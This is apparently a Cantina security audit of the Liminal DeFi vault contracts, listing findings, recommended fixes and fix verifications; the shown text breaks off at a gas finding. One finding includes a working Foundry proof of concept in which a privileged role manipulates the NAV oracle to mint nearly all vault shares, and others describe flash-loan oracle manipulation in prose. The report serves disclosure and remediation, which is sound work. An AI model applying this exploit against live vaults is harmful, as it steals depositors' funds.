Liminal Contracts

Security Review

Cantina Managed review by:

Denis Miličević, Lead Security Researcher
Slowfi, Security Researcher

October 29, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

From Oct 12th to Oct 21st the Cantina team conducted a review of liminal-contracts on commit hash 55346a53. The team identified a total of **34** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	6	6	0
Low Risk	8	7	1
Gas Optimizations	8	6	2
Informational	12	6	6
Total	**34**	**25**	**9**

3 Findings

3.1 Medium Risk

3.1.1 Custom Fees Settable up to 100% in `fulfillFastRedeems` Can Seize Redemptions

Severity: Medium Risk

Context: RedemptionPipe.sol#L439-L466

Description: The `fulfillFastRedeems` function allows a caller with the `FULFILL_MANAGER_ROLE` to specify a `customFees` array. While the code checks that the fee does not exceed 100% (`feeBps <= BASIS_POINTS`), it lacks a stricter, more reasonable upper bound. This allows a privileged manager to set a punitive fee of up to almost 100% (not 100% itself due to a subsequent check), which could be used to unfairly seize the majority or almost all of a user's redemption value.

Recommendation: A configurable or hardcoded sane maximum fee should be enforced on-chain.

1. Introduce a new state variable, `maxCustomFeeBps`, in the `RedemptionPipeStorage` struct.
2. Add a `require` statement in `fulfillFastRedeems` to validate the custom fee against this new variable: `require(feeBps <= $.maxCustomFeeBps, "RedemptionPipe: Custom fee exceeds maximum");`.
3. The setter function for `maxCustomFeeBps` should be protected and only callable by a `TimelockController` to ensure changes are deliberate and transparent.

Liminal: Fixed as recommended in commit cbb3a51e.

Cantina Managed: Fix verified.

3.1.2 Unsafe Type Conversion for Refund Recipient Can Lead to Funds Lost to 0xdead Address

Severity: Medium Risk

Context: VaultComposerBase.sol#L101-L105

Description: In the `lzCompose` function's `catch` block, the logic to determine the refund recipient contains an unsafe type conversion. The code extracts a `bytes32` value (`extractedRecipient`) and checks if it is non-zero before converting it to an `address`. However, a `bytes32` value can be non-zero while its lower 20 bytes (which are used for the address conversion) are all zero. In this scenario, the `bytes32` check would pass, but the value would be converted to `address(0)`. This would cause the refunded assets to be transferred to the LayerZero zero/null address, which is `address(0xdead)`, resulting in a permanent loss of funds.

Recommendation: The validation should be performed on the `address` type after the conversion, not on the `bytes32` type before it.

```
//... inside the catch block of lzCompose
address refundRecipientAddr = extractedRecipient.bytes32ToAddress();
if (refundRecipientAddr != address(0)) {
    refundRecipient = refundRecipientAddr;
}
```

This ensures that refunds are never sent to the zero address due to a faulty payload.

Liminal: Fixed in commit 7eda48cd.

Cantina Managed: Fix verified.

3.1.3 Critical Oracle Parameters Lack Timelock Protection

Severity: Medium Risk

Context: PythPriceOracle.sol#L101-L117, PythPriceOracle.sol#L119-L143

Description: The `setPriceId` and `setPriceIds` functions, which are responsible for configuring the Pyth price feed IDs and their corresponding decimals, are only protected by the `PRICE_MANAGER_ROLE`. These functions lack the crucial protection of a timelock as with many other such privileged functions in the architecture. A compromised or malicious price manager could instantly change a valid price feed ID to one that returns data favourable for exploit or set incorrect decimals that would yield similar, essentially

allowing a variety of frontrunning attacks to be executed by said privileged party. This would allow them to manipulate all price conversions within the system, leading to incorrect share calculations and essentially enabling fund siphoning from the `DepositPipe` and `RedemptionPipe`.

Recommendation: All functions that modify critical oracle parameters must be subject to a mandatory time delay:

1. Apply the `onlyTimelock` modifier to both the `setPriceId` and `setPriceIds` functions in `PythPriceOracle.sol`. This will ensure that any proposed changes to the oracle's configuration are broadcast publicly and delayed, giving users and system monitors time to react to potentially malicious updates, as is already done with a number of the other privileged functions.

Liminal: Fixed in commit a978cec8.

Cantina Managed: Fix verified.

3.1.4 Timelock Admin Can Instantly Change Delays, Bypassing Governance Safeguards

Severity: Medium Risk

Context: VaultTimelockController.sol#L314-L350

Description: The `VaultTimelockController` is the cornerstone of the protocol's governance security, designed to enforce a time delay on critical administrative actions. This delay provides a crucial window for users and the community to react to proposed changes, serving as a safeguard against malicious or erroneous actions.

However, highly privileged functions that govern the timelock's own parameters exist there. The `setFunctionDelay` and `setDefaultFunctionDelay` functions, which allow for changing the delay periods, are protected only by an immediate `onlyRole(DEFAULT_ADMIN_ROLE)` check. This allows an account with the `DEFAULT_ADMIN_ROLE` to instantly alter the time delay for any function.

If the admin account becomes malicious or compromised, it can exploit this to completely bypass the intended security model. For example, they could call `setFunctionDelay` to reduce the delay for a highly sensitive function (such as a contract upgrade) from 7 days to 1 hour. This change takes effect immediately. The attacker can then schedule and execute a malicious upgrade within this new, drastically shortened window, giving a majority of the userbase most likely no meaningful time to respond or withdraw funds. This effectively negates the core purpose of the timelock.

Recommendation: To ensure the integrity of the governance process, changes to the timelock's own configuration must themselves be subject to a timelock.

1. Recommended Approach: The most robust solution is to ensure that any update to an existing delay takes effect only after the currently set delay has passed. The logic for `setFunctionDelay` and `setDefaultFunctionDelay` should be modified to schedule a future change rather than executing it immediately. The delay for this scheduled change should be equal to the *current* delay of the function being modified. For instance, changing a function's delay from 7 days to 1 hour should require waiting the full 7 days for the change to be enacted.
2. Alternative Approach: A simpler, though less granular, alternative is to hardcode the delay for any call to `setFunctionDelay` and `setDefaultFunctionDelay` to the maximum possible delay (e.g., `MAX_DELAY`). This would ensure that any modification to the timelock's rules requires a significant and predictable waiting period.
3. Best Practice (Role Renouncement): For the highest level of security, the `DEFAULT_ADMIN_ROLE` should be renounced entirely after the initial deployment and configuration of the timelock. The admin of the timelock contract should be set to the timelock contract itself. This would make the delay parameters immutable or only changeable via a formal governance proposal that is itself subject to the longest delay, aligning with security best practices for decentralized governance.

Additionally ensure the admin role is held by a secure multisig wallet ideally.

Liminal: Fixed in PR 20.

Cantina Managed: Fix 2 generally implemented, albeit the max delay of 7 days is not used, but a configuration delay is implemented of 2 days, for maximal security, the max delay is recommended, otherwise each timelock more than 2 days and 1 hour comes with the caveat, that it could be gamed down to effectively 2 days and 1 hour (the config delay and minimum settable delay). The client team has chosen a simpler

yet flexible solution, but it does introduce the above caveat and a degree of trust but with still decent protection for end-users. It could also introduce issues in future updates where a timelocked function is missing a timelock and should ideally have it instantly set.

A still flexible yet safe solution that would remove the caveats is to use solution 1, although the complexity is higher.

Regardless, it can be considered fixed in current iteration with caveats noted, as it at least remedies being able to instantly set any timelock down to 1 hour.

Liminal: Acknowledge - considering the timelock on `setFunctionDelay` that's 48h long + the minimum delay which is 12h, it means no critical function can be executed in less than 60h, which is long enough in our opinion.

3.1.5 Privileged Role Can Arbitrarily Set NAV and Drain Instant Redeemable Funds Due to Circumventable & Missing Safeguards

Severity: Medium Risk

Context: NAVOracle.sol#L182-L205

Description: The `NAVOracle` contract serves as the source of truth for the vault's Net Asset Value (NAV), which is the basis for critical share price calculations. The contract grants a `VALUATION_MANAGER_ROLE` the ability to call the `setTotalAssets` function, allowing this role to directly overwrite the NAV of the entire system.

The function includes a `maxPercentageIncrease` check intended to prevent extreme upward manipulation of the NAV. However, this safeguard is superficial and can be easily bypassed in at least two ways:

1. Sequential Calls: An attacker can make multiple, incremental calls to `setTotalAssets` within the same block/transaction (e.g., via a multicall contract) to achieve a significantly higher NAV increase than the supposed `maxPercentageIncrease` threshold.
2. Set-to-Zero Attack: The function critically lacks any downside protection (i.e., a `maxPercentageDecrease` limit). A malicious manager can first call `setTotalAssets` to set the NAV to a near-zero value (e.g., `1`). In a subsequent transaction, they can set the NAV to an arbitrarily large number, as the percentage increase check is skipped when the current NAV is zero.

These bypasses allow a malicious `VALUATION_MANAGER` to execute a few types of drain attacks:

- Theft from Depositors: The manager can set the NAV to `1`, deposit a single wei to mint nearly all available shares, and then reset the NAV to its true value, effectively stealing all assets from existing and also future depositors if the NAV is reset back to normal.
- Theft via Redemption: The manager can front-run their own redemption by artificially inflating the NAV to an extreme value. This would allow them to redeem potentially the entire vault's underlying assets in exchange for a much small number of shares than intended.

Proof of Concept: Showcases the noted depositor drain where NAV is undervalued to allow almost 100% share ownership, while providing a fraction of the existing NAV in assets in:

```
// Add this contract to the NAVOracle.t.sol test file, add virtual modifier to NAVOracleTest's setUp function, so
↪  this works

import {DepositPipe} from "../src/DepositPipe.sol";
import {ShareManager} from "../src/ShareManager.sol";
import {IPriceOracle} from "../src/interfaces/IPriceOracle.sol";
import {INAVOracle} from "../src/interfaces/INAVOracle.sol";
import {IShareManager} from "../src/interfaces/IShareManager.sol";

// Mock Price Oracle for testing purposes
contract MockPriceOracle is IPriceOracle {
    function getPrice(address asset) external view override returns (uint256) {
        // Simple 1:1 price for testing
        return 1e18;
    }

    function getPriceInUSD(address asset) external view override returns (uint256) {
        return 1e6; // 1 USD with 6 decimals
    }
```

```
    function convertAmount(address fromAsset, address toAsset, uint256 amount)
        external
        view
        override
        returns (uint256)
    {
        // Assumes 1:1 conversion for simplicity in this PoC
        return amount;
    }
}


contract NAVOraclePocTest is NAVOracleTest {
    ShareManager public shareManager;
    DepositPipe public depositPipe;
    MockPriceOracle public mockPriceOracle;

    address public strategist;
    address public emergencyManager;
    address public keeper;
    address public safeManager;

    // Attacker is the valuationManager
    address public attacker;
    address public victim;

    function setUp() public override {
        // Call the parent setUp to deploy NAVOracle and mockUnderlying
        super.setUp();

        // --- Assign addresses for the PoC ---
        attacker = valuationManager; // The attacker has the VALUATION_MANAGER_ROLE
        victim = makeAddr("victim");
        strategist = makeAddr("strategist");
        emergencyManager = makeAddr("emergencyManager");
        keeper = makeAddr("keeper");
        safeManager = makeAddr("safeManager");

        // --- Deploy and configure ShareManager ---
        ShareManager shareManagerImpl = new ShareManager();
        shareManager = ShareManager(
            address(
                new ERC1967Proxy(
                    address(shareManagerImpl),
                    abi.encodeWithSelector(
                        ShareManager.initialize.selector,
                        "Vault Shares",
                        "vSHARE",
                        safeManager,
                        emergencyManager,
                        timelock,
                        type(uint256).max, // maxDeposit
                        type(uint256).max, // maxSupply
                        type(uint256).max // maxWithdraw
                    )
                )
            )
        );

        // --- Deploy Mock Price Oracle ---
        mockPriceOracle = new MockPriceOracle();

        // --- Deploy and configure DepositPipe ---
        DepositPipe depositPipeImpl = new DepositPipe();
        DepositPipe.InitializeParams memory params = DepositPipe.InitializeParams({
            depositAsset: address(mockUnderlying),
            name: "Deposit Pipe",
            symbol: "DP",
            shareManager: address(shareManager),
            priceOracle: address(mockPriceOracle),
            navOracle: address(navOracle),
            underlyingAsset: address(mockUnderlying),
            strategist: strategist,
            safeManager: safeManager,
            emergencyManager: emergencyManager,
            keeper: keeper,
```

```
        timeLockController: timelock
    });

    depositPipe = DepositPipe(
        address(
            new ERC1967Proxy(
                address(depositPipeImpl),
                abi.encodeWithSelector(DepositPipe.initialize.selector, params)
            )
        )
    );

    // --- Grant necessary roles ---
    vm.startPrank(safeManager);
    // Grant MINTER_ROLE to the deposit pipe so it can mint shares
    shareManager.grantRole(shareManager.MINTER_ROLE(), address(depositPipe));
    vm.stopPrank();

    vm.startPrank(admin);
    // Grant VAULT_ROLE to the deposit pipe so it can update the NAV
    navOracle.grantRole(navOracle.VAULT_ROLE(), address(depositPipe));
    vm.stopPrank();

    // --- Fund users ---
    mockUnderlying.mint(victim, 1_000_000 * 1e6); // Victim gets 1M USDC
    mockUnderlying.mint(attacker, 1 * 1e6);       // Attacker gets 1 USDC
}

/// @notice PoC
/// SPEC: A malicious valuationManager can set the NAV to a near-zero value,
///       deposit a tiny amount to mint a huge number of shares, and
///       effectively take control of all assets in the vault.
function test_poc_valuationManagerCanStealFunds() public {
    // --- 1. A legitimate user (victim) deposits a large sum ---
    uint256 victimDepositAmount = 1_000_000 * 1e6; // 1,000,000 USDC (6 decimals)

    vm.startPrank(victim);
    mockUnderlying.approve(address(depositPipe), victimDepositAmount);
    uint256 victimShares = depositPipe.deposit(victimDepositAmount, victim);
    vm.stopPrank();

    uint256 navAfterVictimDeposit = navOracle.getNAV();
    uint256 totalSharesAfterVictimDeposit = shareManager.totalSupply();

    console.log("--- Initial State ---");
    console.log("Victim deposited:", victimDepositAmount);
    console.log("Victim received shares:", victimShares);
    console.log("Total Shares:", totalSharesAfterVictimDeposit);
    console.log("NAV:", navAfterVictimDeposit);
    assertEq(shareManager.balanceOf(victim), victimShares);
    // NAV is normalized to 18 decimals, so 1M * 1e6 becomes 1M * 1e18
    assertEq(navAfterVictimDeposit, victimDepositAmount * 1e12);

    // --- 2. The attacker (valuationManager) manipulates the NAV ---
    // The attacker sets the NAV to 1 wei, exploiting the lack of downside protection.
    // The `expectedNav` parameter must match the current NAV, preventing front-running but not this attack.
    vm.startPrank(attacker);
    console.log("\n--- Attack Step 1: Manipulating NAV ---");
    console.log("Attacker (valuationManager) is setting NAV to 1...");
    navOracle.setTotalAssets(1, navAfterVictimDeposit);
    vm.stopPrank();

    uint256 manipulatedNAV = navOracle.getNAV();
    console.log("Manipulated NAV:", manipulatedNAV);
    assertEq(manipulatedNAV, 1);

    // --- 3. The attacker deposits a tiny amount to mint a massive number of shares ---
    uint256 attackerDepositAmount = 1; // Just 1 wei of USDC

    vm.startPrank(attacker);
    mockUnderlying.approve(address(depositPipe), attackerDepositAmount);

    console.log("\n--- Attack Step 2: Depositing 1 wei ---");
    // The deposit calculation `_convertToShares` is `underlyingValue.mulDiv(sharesTotalSupply,
    ↪  totalAssets,...)`
    // `underlyingValue` = 1e12 (1 wei of USDC normalized to 18 decimals)
```

```
        // `sharesTotalSupply` = 1_000_000e18
        // `totalAssets` (manipulated NAV) = 1
        // shares = (1e12 * 1_000_000e18) / 1 = a massive number
        uint256 attackerShares = depositPipe.deposit(attackerDepositAmount, attacker);
        vm.stopPrank();

        uint256 attackerShareBalance = shareManager.balanceOf(attacker);
        uint256 totalSharesAfterAttack = shareManager.totalSupply();

        console.log("Attacker deposited:", attackerDepositAmount, "wei");
        console.log("Attacker received shares:", attackerShares);
        console.log("New Total Shares:", totalSharesAfterAttack);

        // --- 4. Verification of the exploit ---
        console.log("\n--- Final State ---");
        console.log("Victim's shares:", shareManager.balanceOf(victim));
        console.log("Attacker's shares:", attackerShareBalance);

        // The attacker now owns an overwhelming majority of the shares.
        // For a deposit of just 1 wei, they have stolen control of the victim's 1,000,000 USDC.
        assertGt(attackerShareBalance, victimShares, "Attacker should have more shares than the victim");

        uint256 attackerOwnershipPct = (attackerShareBalance * 100) / totalSharesAfterAttack;
        console.log("Attacker now owns ~", attackerOwnershipPct, "% of the vault");
        assertTrue(attackerOwnershipPct >= 99, "Attacker should own >=99% of the vault, by inputting just a tiny
        ↪  fraction compared to victim(s)");
    }
}
```

Recommendation: This function is an essential part of the system, and its controller is privileged and must be considered a trusted party in the architecture. However, steps should still be taken to minimize risks and definitely remove the ability for complete vault draining.

Ideally should be significantly hardened with multiple layers of protection:

- Implement Downside Protection: Add a `maxPercentageDecrease` state variable and enforce a limit on how much the NAV can be reduced in a single transaction, and most specifically disallowing decreases that would allow unlimited increases.
- Prevent Intra-Block Gaming: Introduce an intra-block cooldown to prevent sequential calls. This can be done by storing the `lastUpdateTime` and ensuring `block.timestamp > lastUpdateTime`, or block number.
- Enforce Some Timelock or Delay: To help avoid advantageous frontruns being undertaken by the privileged role, some degree of delay or timelock would help alleviate this, although would hurt some liveness of the vault.

Liminal: Fixed in commit 07086e64.

Cantina Managed: Fix verified.

3.1.6 Oracle Manipulation Enables Attackers Unfair Share Minting and Inflated Redemptions

Severity: Medium Risk

Context: PythPriceOracle.sol#L219-L237

Description: The protocol's reliance on a spot price oracle for valuing assets could make it vulnerable to price manipulation attacks, depending on the price feed used for various tokens in question, and where their underlying data is fed from, which could be exploited during both deposits and redemptions.

The easiest example we'll use is where the price feed is coming from some on-chain exchange, an attacker can use a flash loan to temporarily manipulate the price of an asset on said external exchange that serves as a data source for the `PythPriceOracle`. However, do note that various other exchanges or price feeds could be manipulated for overall financial gain with sufficient vault value, and manipulation being made easier with lower trade volume for the token in question.

There are two potential attack vectors made possibly.

Attack Vector 1: Unfair Share Minting (Inflation Attack). An attacker can manipulate the oracle to receive a disproportionately large number of shares for a small deposit, diluting all other liquidity providers.

1. The attacker uses a flash loan to artificially inflate the price of a deposit asset (e.g., `MANIP` token).
2. They call `DepositPipe.deposit()` with a small amount of the `MANIP` token.
3. The `deposit` function calls `priceOracle.convertAmount()`, which reads the manipulated spot price from `PythPriceOracle._getPythPrice`.
4. This returns a vastly inflated `underlyingValue` for the deposited `MANIP` tokens.
5. The `_convertToShares` function then calculates the shares to be minted using the formula `(underlyingValue * totalSupply) / totalAssets`. Because `underlyingValue` is inflated while `totalAssets` (the NAV before this deposit) is not, the attacker is minted an excessive number of shares for their deposit's true value.
6. The inflated `underlyingValue` is then added to the NAV via `navOracle.increaseTotalAssets()`, socializing the "paper" gain while the attacker has captured a real, outsized claim on the vault's total assets.

Attack Vector 2: Inflated Redemptions. This attack, which amplifies the NAV inflation from Attack Vector 1, allows an attacker to drain value from the vault during the asynchronous redemption process.

1. The attacker submits a redemption request via `RedemptionPipe.requestRedeemFast`.
2. The attacker front-runs the `fulfillFastRedeems` transaction by executing the deposit-based inflation attack described above, poisoning the system's NAV.
3. When the `fulfillFastRedeems` function executes, it calls `RedemptionPipe.convertToAssets`, which reads the now-inflated NAV from the `NAVOracle`.
4. As a result, the attacker's shares are redeemed for a significantly larger amount of underlying assets than they were fairly worth, draining real value from the vault at the expense of honest holders.

Recommendation: Even though generally higher volume-backed tokens are intended to be used by these contracts, the protocol should decouple its core financial calculations from volatile spot prices. A defense-in-depth approach is recommended.

1. Primary Mitigation (Use Time-Averaged Prices): Modify the `PythPriceOracle._getPythPrice` function to use Pyth's built-in Exponential Moving Average (EMA) price by calling `pyth.getEmaPriceNoOlderThan()` instead of `pyth.getPriceNoOlderThan()`. An EMA price is inherently resistant to short-term manipulation from flash loans, as it averages prices over time.
2. Secondary Mitigation (Implement Confidence Interval Checks): As a crucial second layer of defense, the `_getPythPrice` function must also validate the price's confidence interval (`conf`). This value, provided by Pyth, widens during periods of market volatility or price disagreement among data publishers; both are indicators of a potential manipulation attempt. The transaction should revert if the confidence interval exceeds a configurable, safe threshold (e.g., 1-2% of the price). This acts as an on-chain circuit breaker.

Implementing both of these mitigations in `PythPriceOracle.sol` should help reduce the chance of this class of attack by ensuring that all financial calculations are based on more stable price data, instead of data that could be manipulated for at least short periods of time.

Liminal: Fixed in commit 15438ede.

Cantina Managed: Confirmed fix utilizing secondary mitigation procedure, which prioritizes price freshness while also providing a greater degree of protection from noted manipulation attacks with properly set confidence intervals and operation of the Pyth feed provider(s).

3.2 Low Risk

3.2.1 Refund Logic Fails in Multi-Hop Scenarios, Risking Stuck Funds

Severity: Low Risk

Context: VaultComposerBase.sol#L133-L142

Description: The `_refund` function in VaultComposerBase is designed to handle failed cross-chain messages by returning assets to the message's immediate source, identified by `_message.srcEid()`. While this works in a direct hub-and-spoke model, it fails in multi-hop scenarios (e.g., a user on Chain A sends funds through Chain B to the hub on Chain C). If the transaction fails at the hub, the assets are refunded to the

intermediate chain (Chain B), not the user's origin chain (Chain A). This leaves the user's funds at least temporarily stranded on an unexpected intermediate chain.

Recommendation: The refund mechanism must be aware of the original sender's chain to ensure funds are returned correctly.

The initial cross-chain message payload should be augmented to include the origin chain ID alongside the original sender's address or at least intended refund address.

The `_refund` function should be modified to use this origin data from the payload to construct the `refundParam`, ensuring funds are sent back to the true originator, not just the previous hop. This may require implementing a "serial reversal" of the hops if direct routes are not guaranteed.

Liminal: Fixed in commit 06f614a0.

Cantina Managed: Fix verified.

3.2.2 Potential Value Leakage and Over-Approval Due to OFT Dedusting

Severity: Low Risk

Context: OVaultComposerMulti.sol#L139-L162, OVaultComposerMulti.sol#L164-L192

Description: The `depositAssetAndSend` and `redeemAndSend` functions approve and prepare to send the full calculated amount of an asset or share token. However, LayerZero's Omnichain Fungible Token (OFT) standard performs "dedusting" when bridging tokens to handle decimal differences across chains. This process can often result in a slightly smaller amount arriving at the destination, with the "dust" (the small remainder) being left behind in the `OVaultComposerMulti` contract. Over many transactions, this can lead to a significant accumulation of lost user value. Furthermore, the contract approves the full pre-dedusting amount for transfer, which is an unnecessary over-approval.

Recommendation: The contract should pre-calculate the exact amount that will be sent after dedusting and use this value for both the approval and the transfer.

1. Before calling `_send`, use the `IOFT.quoteOFT()` helper function to determine the precise `amountLD` that will be bridged.
2. Use this quoted amount for the `approve` call to grant the exact required allowance.
3. The remaining dust can then be programmatically handled, either by refunding it to the user in the same transaction as either the respective shares/assets.

Liminal: Fixed in PR 12. The dead code has been removed.

Cantina Managed: Fix verified.

3.2.3 Null Address Can Be Set as Receiver in Cross-Chain Deposits

Severity: Low Risk

Context: OVaultComposerMulti.sol#L344-L347

Description: The `_handleDepositAsset` function in `OVaultComposerMulti` is responsible for processing cross-chain deposits. It decodes a `receiver` address from the incoming message payload. If the deposit is intended for the current chain, this `receiver` address is used as the recipient for the newly minted vault shares.

The function currently lacks a validation to check if the decoded `receiver` address is the zero address (`address(0)`). If a malformed message is sent-either accidentally by a user or maliciously-with the `receiver` field set to null, the `shareMintRecipient` will be resolved to `address(0)`. The subsequent call to `shareManager.mintShares(receiver, shares)` will indeed result in a `revert()` thanks to existing OpenZeppelin dependency checks of ERC20 tokens to not mint to the null address, ultimately resulting in a cross-chain refund process beginning.

Recommendation: Ideally, consider utilizing LayerZero's `msgInspector` feature, and implementing a separate contract to validate the sent message contents, and avoid the necessity of at least 2 cross-chain transactions being passed (initial deposit + subsequent refund), by short-circuiting obviously invalid messages from the origin chain before sending it to LayerZero.

Liminal: Fixed in commit 06f614a0.

Cantina Managed: Fix verified.

3.2.4 Management fee accrues over zero-supply periods

Severity: Low Risk

Context: FeeManager.sol#L208

Description: In `FeeManager`, when `currentSupply == 0` the function returns early without updating `lastManagementFeeTimestamp`. If the vault stays empty for some time and later receives a deposit, the next fee calculation may use the stale timestamp and accrue fees for the entire idle period-effectively charging for time when no supply/AUM existed.

Recommendation: Consider to advance `lastManagementFeeTimestamp` when `currentSupply == 0`, or otherwise clamp accrual to intervals with positive supply (e.g., reset on zero->nonzero transitions). Add a test covering

1. Accrue with supply > 0.
2. Set supply to 0 and wait.
3. Deposit to restore supply, and confirm no retroactive fees are minted for the idle period.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.2.5 Unsafe ERC20 approval pattern

Severity: Low Risk

Context: OVaultComposerMulti.sol#L159

Description: `OVaultComposerMulti` calls `IERC20($.underlyingAsset).approve($.underlyingAssetOFT, assets)` directly (e.g., L159). This pattern can fail on tokens that require resetting allowance to zero before setting a new value and increases the risk of stale or excessive allowances remaining after use.

Recommendation: Consider to adopt a safer allowance flow across the contract:

- Use `SafeERC20` and either `forceApprove` (preferred when available) or the ”set to 0, then set to N” pattern.
- When repeatedly topping up allowances, consider `safeIncreaseAllowance`.
- For one-shot operations, consider resetting the allowance back to zero after the transfer to minimize residual approval surface.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.2.6 Incorrect upgrade function selectors in timelock

Severity: Low Risk

Context: VaultTimelockController.sol#L159-L160

Description: `VaultTimelockController` configures delays for `upgradeProxy(address,address)` and `upgradeProxyAndCall(address,address,bytes)`. These signatures don't match common upgrade entry-points:

- Transparent/ProxyAdmin: `upgrade(address,address)` and `upgradeAndCall(address,address,bytes)`.
- UUPS: `upgradeTo(address)` and `upgradeToAndCall(address,bytes)`.

Using non-existent selectors risks leaving real upgrade functions ungated by the timelock.

Recommendation: Consider to align the configured selectors with the actual upgrade pattern in use:

- If using ProxyAdmin: gate `upgrade(address,address)` and `upgradeAndCall(address,address,bytes)`.
- If using UUPS: gate `upgradeTo(address)` and `upgradeToAndCall(address,bytes)`.

Additionally, consider to derive selectors from the target interfaces (constants) rather than hard-coded strings, and add a test that asserts the timelock delay is set for the exact selectors used in production.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.2.7 Missing validation of `decimals` against token metadata

Severity: Low Risk

Context: PythPriceOracle.sol#L114

Description: `PythPriceOracle` stores `decimals` for an `asset` from external input without verifying it matches `IERC20Metadata(asset).decimals()`. A mismatch would skew scaling, leading to incorrect price normalization and downstream calculations.

Recommendation: Consider to read `IERC20Metadata(asset).decimals()` and validate the supplied `decimals` matches. If overrides are needed for non-standard tokens, consider to allow an explicit "override" path gated by governance and emit an event when the stored decimals differ from the token's metadata.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.2.8 Missing setter for `timeLockController`

Severity: Low Risk

Context: PythPriceOracle.sol#L22

Description: `PythPriceOracle` declares a `timeLockController` address but, unlike other protocol contracts, does not expose a function to set or update it. This prevents rotating the timelock, fixing misconfigurations, or aligning governance across components when needed.

Recommendation: Consider to add a guarded setter (e.g., callable by the current timelock/owner), emit an event on change, and reject the zero address. Also consider to initialize the timelock during deployment/init and include this address in any access-control checks for consistency with the rest of the system.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.3 Gas Optimization

3.3.1 Unreachable Code in Decimal Normalization Logic

Severity: Gas Optimization

Context: DepositPipe.sol#L385-L388, DepositPipe.sol#L405-L408

Description: The `initialize` function in DepositPipe.sol includes the conditional `require(underlyingDecimals <= 18)`. This ensures the contract cannot be deployed with an underlying asset that has more than 18 decimals. However, the helper functions `_normalizeToDecimals18` and `_normalizeFromDecimals18` both contain else branches designed to handle cases where `underlyingDecimals > 18`. Due to the check in the initializer, these branches are unreachable dead code.

Recommendation: To improve code clarity and remove ambiguity, the unreachable code should be addressed.

Recommended: Remove the currently non-reachable else branches from both `_normalizeToDecimals18` and `_normalizeFromDecimals18`. This will save some gas deployment cost due to a reduced code size from eliminating the dead code.

Alternative: Replace the logic inside the else branches with a `revert()` statement to make the unsupported case explicit, aligning with the contract's design.

Liminal: Fixed in commit 2e4efc3d.

Cantina Managed: Fix verified.

3.3.2 Various Gas Optimizations

Severity: Gas Optimization

Context: *(No context files were provided by the reviewer)*

1. Redundant Manual Refund (`VaultComposerBase.sol:128-130`): The `_send` function manually refunds excess `msg.value`. This logic is redundant, as the LayerZero `IOFT.send` function can handle this automatically. Removing the manual `transfer` call will save gas and simplify the code.
2. Storage Packing (`NAVOracle.sol:37-41`, `RedemptionPipe.sol:54-57`): Several state variables (e.g., `maxPercentageIncrease`, `recoveryDelay`, `lastRedemptionTime`) are stored as `uint256` when smaller types would suffice. Downsizing these variables and reordering them within their respective storage structs to pack them into single 32-byte slots will reduce `SLOAD` and `SSTORE` costs, and can be optimized further by packing them with other variables that are most likely to be used together in a single call, and more specifically for frequent calls.
3. Storage Packing Opportunities (`PythPriceOracle.sol:24-32`): Variables such as `pyth` (an address) and `maxPriceAge` (`uint256`) can be packed into a single storage slot by downsizing `maxPriceAge` to a smaller type like `uint96`. This would reduce gas costs on every price fetch.
4. Unconventional External Call (`VaultComposerBase.sol:101`): The function `_decodeRefundRecipientExternal` uses an internal-style `_` prefix but has `external` visibility. Due to this, an unnecessary EXTCALL is done for a simple pure function that should just be accessed internally instead of externally. Change it to internal, and remove the `this.` call of it in the catch block.
5. Unused Constant (`VaultTimelockController.sol:43`): The `EMERGENCY_DELAY` constant is declared but never used. It should be removed to reduce dead code.
6. Redundant Replay Protection (`OVaultComposerMulti.sol:286-287`): The contract implements a `processedMessages` mapping for replay protection. This is redundant as LayerZero's Endpoint V2 contract already provides this protection for both `lzReceive` and `lzCompose` messages, adding unnecessary `SSTORE` gas costs and code complexity. This mapping and its associated checks can be removed.

Liminal: Fixed in PR 30.

Cantina Managed: The recommended optimizations have been implemented.

As a note, there is further room for improvement on the `RedemptionPipe.sol:54-57` optimization: if the `recoveryDelay` and `lastRedemptionTime` are set to `uint24` and `uint72` respectively, they would fit into one slot with treasury, for even further savings. I see an argument against it with inconsistency on some time variables, but this is to maximize gas savings, the `uint24` would safely fit for full 90 day in seconds granularity (needs 23 bits), and 72 bits in seconds is good for passed the year 149 trillion, so plenty of time.

With regards to some redundancies noted, as for sub issue 1 and 6, it would be useful to replace the code with comments, noting that LZ is depended upon to handle the refund, and replay protection.

Liminal: We implemented the storage pack implementation

Cantina Managed: Noted issues mainly confirmed fixed, additional comments regarding LZ protocol handling of expected actions not implemented.

3.3.3 `PythPriceOracle` duplicates positivity check on `price`

Severity: Gas Optimization

Context: PythPriceOracle.sol#L232-L234

Description: The function that validates the fetched Pyth `price` performs two equivalent checks: `price.price > 0` and `int256(price.price) > 0`. Since `price.price` is already a signed integer (`int64`), widening to `int256` and rechecking positivity adds no extra safety or information.

Recommendation: Consider to keep a single positivity check (e.g., `price.price > 0`) and remove the redundant cast-and-check to simplify the code and save gas.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.3.4 Encapsulate authorization check in a modifier

